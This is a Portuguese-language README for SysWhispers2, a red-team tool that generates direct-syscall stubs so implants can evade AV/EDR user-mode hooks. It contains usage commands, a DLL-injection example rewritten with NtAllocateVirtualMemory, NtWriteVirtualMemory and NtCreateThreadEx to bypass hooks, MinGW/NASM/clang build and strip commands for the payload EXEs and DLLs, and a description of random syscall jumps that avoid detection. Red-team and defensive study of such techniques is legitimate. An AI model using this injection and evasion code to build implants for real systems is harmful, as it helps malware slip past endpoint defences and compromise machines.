
Evasião de AV/EDR via chamadas diretas ao sistema.
O SysWhispers ajuda na evasão gerando arquivos de cabeçalho/ASM que implantes podem usar para fazer chamadas diretas ao sistema.
Todas as chamadas de sistema principais são suportadas e arquivos gerados de exemplo estão disponíveis na pasta example-output/.
O uso é quase idêntico ao SysWhispers1, mas você não precisa especificar quais versões do Windows suportar. A maioria das mudanças está nos bastidores. Ele não depende mais das tabelas de syscall do @j00ru, e em vez disso usa a técnica de "ordenação por endereço de chamada de sistema" popularizada por @modexpblog. Isso reduz significativamente o tamanho dos stubs de syscall.
A implementação específica no SysWhispers2 é uma variação do código de @modexpblog. Uma diferença é que os hashes dos nomes das funções são aleatorizados a cada geração. @ElephantSe4l, que publicou essa técnica anteriormente, tem outra implementação baseada em C++17 que também vale a pena conferir.
O repositório original do SysWhispers ainda está ativo, mas pode ser descontinuado no futuro.
Vários produtos de segurança colocam hooks em funções de API no modo de usuário que permitem redirecionar o fluxo de execução para seus mecanismos e detectar comportamentos suspeitos. As funções em ntdll.dll que fazem as syscalls consistem em apenas algumas instruções de montagem, então reimplementá-las em seu próprio implante pode contornar a ativação desses hooks de produtos de segurança. Esta técnica foi popularizada por @Cn33liz e seu post no blog tem mais detalhes técnicos que valem a pena ler.
O SysWhispers fornece aos red teamers a capacidade de gerar pares cabeçalho/ASM para qualquer chamada de sistema na imagem do kernel principal (ntoskrnl.exe). Os cabeçalhos também incluirão as definições de tipo necessárias.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Exporta todas as funções com compatibilidade para todas as versões suportadas do Windows (veja example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Exporta apenas as funções comuns (veja a lista abaixo).
py .\syswhispers.py --preset common -o syscalls_common
# Exporta NtProtectVirtualMemory e NtWriteVirtualMemory com compatibilidade para todas as versões.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Por que chamar o kernel quando você pode sussurrar?
Todas as funções selecionadas.
Concluído! Arquivos escritos em:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Importe o cabeçalho gerado.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Usar a opção --preset common criará um par cabeçalho/ASM com as seguintes funções:
Os exemplos a seguir demonstram como compilar os programas de exemplo acima como EXE e DLLs usando MinGW e o montador NASM:
i686-w64-mingw32-gcc -c main.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-gcc *.o -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
i686-w64-mingw32-gcc -c dllmain.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
x86_64-w64-mingw32-gcc -m64 -c main.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc *.o -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
x86_64-w64-mingw32-gcc -m64 -c dllmain.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
i686-w64-mingw32-gcc -m32 -Wall -c main.c syscalls.c syscallsstubs.std.x86.s -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
i686-w64-mingw32-gcc -m32 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x86.s -o temp.dll
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
x86_64-w64-mingw32-gcc -m64 -Wall -c main.c syscalls.c syscallsstubs.std.x64.s -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
x86_64-w64-mingw32-gcc -m64 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x64.s -o temp.dll
x86_64-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
SysWhispers2 gera um arquivo .s compatível com clang que contém os stubs ASM. Isso pode ser usado com llvm para compilar seu código. Por exemplo, usando o exemplo de injeção de DLL CreateRemoteThread acima:
clang -D nullptr=NULL main.c syscall.c syscallstubs.std.x64.s -o test.exe
A opção de saída inlinegas gerará uma versão apenas de cabeçalho do SysWhispers2 que pode ser usada com a compilação de BOFs. Basta incluir o cabeçalho em seu projeto.
Usando a rotina de salto de syscall aleatório, é possível evitar a "marca da syscall". O stub de montagem chama uma nova função SW__GetRandomSyscallAddress que pesquisa e seleciona uma instrução de syscall limpa em ntdll.dll para usar. Ao fazer isso, é possível evitar acionar instruções de syscall no espaço de usuário também.
Para usar saltos de syscall aleatórios, você precisará definir RANDSYSCALL ao compilar seu programa e usar a versão rnd da saída do SysWhispers2. Os exemplos a seguir demonstram o uso dos stubs do GNU Assembler.
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe
win32k.sys) não são suportadas.syscalls.h já tiverem sido definidos.
--preset all raramente é necessário).syscalls.h.Desenvolvido por @Jackson_T e @modexpblog, mas baseia-se no trabalho de muitos outros:
Este projeto está licenciado sob a Licença Apache 2.0.